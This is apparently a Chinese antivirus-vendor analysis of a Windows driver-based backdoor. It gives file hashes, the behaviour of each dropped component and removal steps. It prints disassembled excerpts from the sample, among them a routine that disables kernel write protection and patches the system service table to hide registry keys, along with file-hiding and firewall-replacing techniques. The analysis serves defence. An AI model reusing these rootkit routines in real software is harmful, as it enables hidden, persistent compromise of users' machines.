半驱动后门s_126_0(1).htm 部分分析

File: s_126_0(1).htm
Size: 103944
MD5:      03F280ED4954EBD13845B565430512C8
MZ头经过特殊修改，纠正后Size: 103940，释放驱动runtime2.sys，创建同名符号连接




File: runtime2.sys
Size: 35328
MD5:      6EFD54265E8CA123ADB4CA119427A8E7
1、修改ZwOpenFile系统服务的地址实现文件隐藏
2、判断操作系统版本号是否为2000、XP、2003

.text:000105E2 ; Attributes: bp-based frame
.text:000105E2
.text:000105E2 sub_105E2           proc near                   ; CODE XREF: NotifyRoutine+D p
.text:000105E2
.text:000105E2 arg_0               = dword ptr      8
.text:000105E2 arg_4               = dword ptr      0Ch
.text:000105E2
.text:000105E2                     mov         edi, edi
.text:000105E4                     push        ebp
.text:000105E5                     mov         ebp, esp
.text:000105E7                     mov         eax, ds:NtBuildNumber
.text:000105EC                     movsx       eax, word ptr [eax]
.text:000105EF                     cmp         eax, 893h
.text:000105F4                     push        esi
.text:000105F5                     jz          loc_106A1
.text:000105F5
.text:000105FB                     cmp         eax, 0A28h
.text:00010600                     jz          short loc_10665
.text:00010600
.text:00010602                     cmp         eax, 0ECEh
.text:00010607                     jnz         loc_106E2

3、调用ZwCreateFile、ZwWriteFile创建文件SystemRoot/Temp/startdrv.exe

mov         edi, edi
push        ebp
mov         ebp, esp
sub         esp, 28h
push        esi
push        [ebp+Handle]        ; SourceString
lea         eax, [ebp+DestinationString]
push        eax                 ; DestinationString
call        ds:RtlInitUnicodeString
xor         esi, esi
push        esi                 ; EaLength
push        esi                 ; EaBuffer
push        60h                 ; CreateOptions
push        3                   ; CreateDisposition
push        1                   ; ShareAccess
push        80h                 ; FileAttributes
lea         eax, [ebp+DestinationString]
mov         [ebp+ObjectAttributes.ObjectName], eax
push        esi                 ; AllocationSize
lea         eax, [ebp+IoStatusBlock]
push        eax                 ; IoStatusBlock
lea         eax, [ebp+ObjectAttributes]
push        eax                 ; ObjectAttributes
push        40100000h           ; DesiredAccess
lea         eax, [ebp+Handle]
push        eax                 ; FileHandle
mov         [ebp+ObjectAttributes.Length], 18h
mov         [ebp+ObjectAttributes.RootDirectory], esi
mov         [ebp+ObjectAttributes.Attributes], 240h
mov         [ebp+ObjectAttributes.SecurityDescriptor], esi
mov         [ebp+ObjectAttributes.SecurityQualityOfService], esi
call        ds:ZwCreateFile
cmp         eax, esi
jl          short loc_108BF

4、调用ZwOpenKey、ZwSetValueKey、ZwCreateKey创建驱动注册表键值实现跳过最后一次正确配置且加载入安全模式（代码太长，略！）

5、取磁盘对象类型挂FSD，再次实现文件隐藏

6、修改系统服务分发表实现注册表rootkit


; Attributes: bp-based frame

sub_1286E proc near

var_4= dword ptr -4

mov         edi, edi
push        ebp
mov         ebp, esp
push        ecx
cli
mov         eax, cr0
mov         [ebp+var_4], eax
and         eax, 0FFFEFFFFh
mov         cr0, eax
mov         ecx, ds:KeServiceDescriptorTable
mov         ecx, [ecx]
mov         eax, ds:ZwOpenKey
mov         eax, [eax+1]
mov         dword ptr [ecx+eax*4], offset loc_12192
mov         ecx, ds:KeServiceDescriptorTable
mov         ecx, [ecx]
mov         eax, ds:ZwEnumerateKey
mov         eax, [eax+1]
mov         dword ptr [ecx+eax*4], offset loc_1224A
mov         ecx, ds:KeServiceDescriptorTable
mov         ecx, [ecx]
mov         eax, ds:ZwEnumerateValueKey
mov         eax, [eax+1]
mov         dword ptr [ecx+eax*4], offset loc_12412
mov         ecx, ds:KeServiceDescriptorTable
mov         ecx, [ecx]
mov         eax, ds:ZwSetValueKey
mov         eax, [eax+1]
mov         dword ptr [ecx+eax*4], offset loc_125DA
mov         ecx, ds:KeServiceDescriptorTable
mov         eax, ds:ZwDeleteValueKey
mov         eax, [eax+1]
mov         ecx, [ecx]
mov         dword ptr [ecx+eax*4], offset loc_12730
mov         eax, [ebp+var_4]
mov         cr0, eax
sti
leave
retn
sub_1286E endp

File: STARTDRV.EXE
Size: 20992
MD5:      E848A7316C8F8C502EB3BD370E456E2A

释放驱动ip6fw.sys替换XP墙驱动、释放runtime.sys,后台开启IE连接一个google的空间（忘了，好像还有SMTP）



File: ip6fw.sys
Size: 29056
MD5:      281486D13A98744ACE4C478E555E30B6

1、创建符号连接Restore与NDIS.sys实现通讯
2、查询系统信息查找系统执行体ntoskrnl.exe、ntkrnlpa.exe、ntkrnlmp.exe、ntkrpamp.exe，不放过任何硬件平台（CPU）
3、取操作系统版本（2000、XP、2003）获取系统服务个数，创建系统服务描述符表替换所有系统服务


File: runtime.sys
Size: 5504
MD5:      9F46A485B86CAAFB1910B05010E2E7CC

创建同名符号连接配合ip6fw.sys阻断Tcpip通讯，实现底层挂钩SPI，所以中此病毒者计算机所有通过TCPIP协议进行内部通讯的软件都会受到阻碍。

微点清除方法：
中毒后在运行微点可能会发生通讯受阻的问题，重启计算机后微点自动删除病毒驱动runtime.sys，删除ip6fw.sys后dllcache会自动还原系统默认驱动，微点的可疑文件扫描可以手删runtime2的启动项，然后重启计算机，